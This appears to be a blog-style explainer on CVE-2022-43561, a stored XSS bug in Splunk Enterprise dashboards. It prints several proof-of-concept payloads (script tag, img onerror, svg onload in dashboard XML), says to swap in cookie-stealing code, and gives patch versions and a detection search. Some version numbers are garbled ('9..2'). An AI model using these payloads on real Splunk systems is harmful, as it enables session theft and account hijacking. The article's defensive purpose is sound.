Splunk is a leading platform for searching, monitoring, and analyzing machine-generated data in real time. That means Splunk dashboards, logs, and reports hold valuable data seen by administrators, developers, and other business users every day. Security issues in this context are a big deal—especially when they let attackers go after your users directly.
CVE-2022-43561 is one such vulnerability—a persistent, or stored, cross-site scripting (XSS) bug that affects every Splunk Enterprise instance with Splunk Web enabled and certain “power” users in your system.
In this article, we’ll break down what this vulnerability is, how attackers could exploit it, how it works under the hood, and what you can do to stay safe. All code snippets are for education and awareness only.
What is CVE-2022-43561?
The vulnerability:
A remote user with the “power” Splunk role can store arbitrary scripts (like JavaScript) inside Splunk fields, dashboards, or reports. When any other user (including admins or regular users) later views those manipulated resources via the Splunk Web interface, the code executes in their browser—without requiring any further user interaction.
This is known as persistent XSS—the most dangerous kind, since malicious code becomes a “landmine” for everyone who views the poisoned data.
9..x (before 9..2)
Key precondition:
Splunk Web must be enabled (the default unless you’ve gone CLI-only or disabled the web interface).
If you use Splunk Cloud or patched versions above, you’re protected.
Why Power Users?
Splunk’s role-based access control gives “power” users the ability to create and save searches, reports, and dashboards that other users might routinely view. Although “power” isn’t full admin, users in this role have more permissions than regular users—including the ability to add custom code in certain fields.
When field inputs aren’t properly sanitized, their custom code can end up in dashboards that others interact with, setting the stage for XSS.
1. Malicious User Crafts a Dashboard
Suppose Alice is a Splunk user with “power” role. She can create a dashboard and set the title or add a field with the following payload:
<!-- Example Splunk dashboard snippet with XSS payload in a label -->
<option label="Click Me" selected>
<script>alert('XSS Exploit!');</script>
</option>
Or a simpler one in the title
<dashboard>
<label><![CDATA[
<img src="x" onerror="alert('XSS')">
]]></label>
<!-- Dashboard content here -->
</dashboard>
2. Save and Share the Dashboard
Alice saves the dashboard and configures permissions to share it with others in her team or the organization.
3. Victim Visits the Dashboard
Bob, an admin, logs in to view the dashboard. As soon as he loads the page, the JavaScript in the malicious label/title runs in his browser. If Alice replaced alert('XSS') with code to steal Bob’s cookies or tokens, she can now hijack his account or install malware via browser exploitation.
The Technical Details
Splunk’s web interface did not encode or sanitize user-controlled fields in some dashboard or report elements. This allowed raw HTML/JavaScript to be stored and then rendered unsafely.
Full details are in Splunk’s security advisory:
https://advisory.splunk.com/advisories/SVD-2022-1107
PoC: Minimal Exploit Example
XSS via Dashboard Title:
Here’s a working PoC (create new dashboard, set as title)
<dashboard>
<label><![CDATA[<svg/onload=alert("Splunk XSS!")]></label>
<row>
<!-- rest of the dashboard -->
</row>
</dashboard>
Any user who views the dashboard sees an “alert” popup. Replace that code with anything you like (e.g., exfiltration JS).
XSS via Dropdown Option:
If you have a dropdown (input), you can inject
<option label='<img/src/onerror=alert("Splunk XSS2")>' value="1"/>
Upgrade Splunk Enterprise to at least 8.1.12, 8.2.9 or 9..2.
- Official patch notes: https://advisory.splunk.com/advisories/SVD-2022-1107
- Example search
index=_internal sourcetype=splunkd_ui_access action=view label="*<script>*"
References
- Splunk Advisory for CVE-2022-43561
- Splunk Release Notes
- OWASP XSS Cheat Sheet
Conclusion
CVE-2022-43561 is a critical reminder that even with internal or semi-trusted users, web applications like Splunk need to rigorously sanitize user input, especially for “power” users. Because persistent XSS persists until found and deleted, unpatched dashboards remain a threat long after creation.
If you run Splunk in your environment, apply the latest patches and review all dashboards for suspicious content. Don’t wait until you see the “XSS Exploit!” popup—the real attacks will be silent, and much more damaging.
Timeline
Published on: 11/03/2022 23:15:00 UTC
Last modified on: 11/07/2022 16:58:00 UTC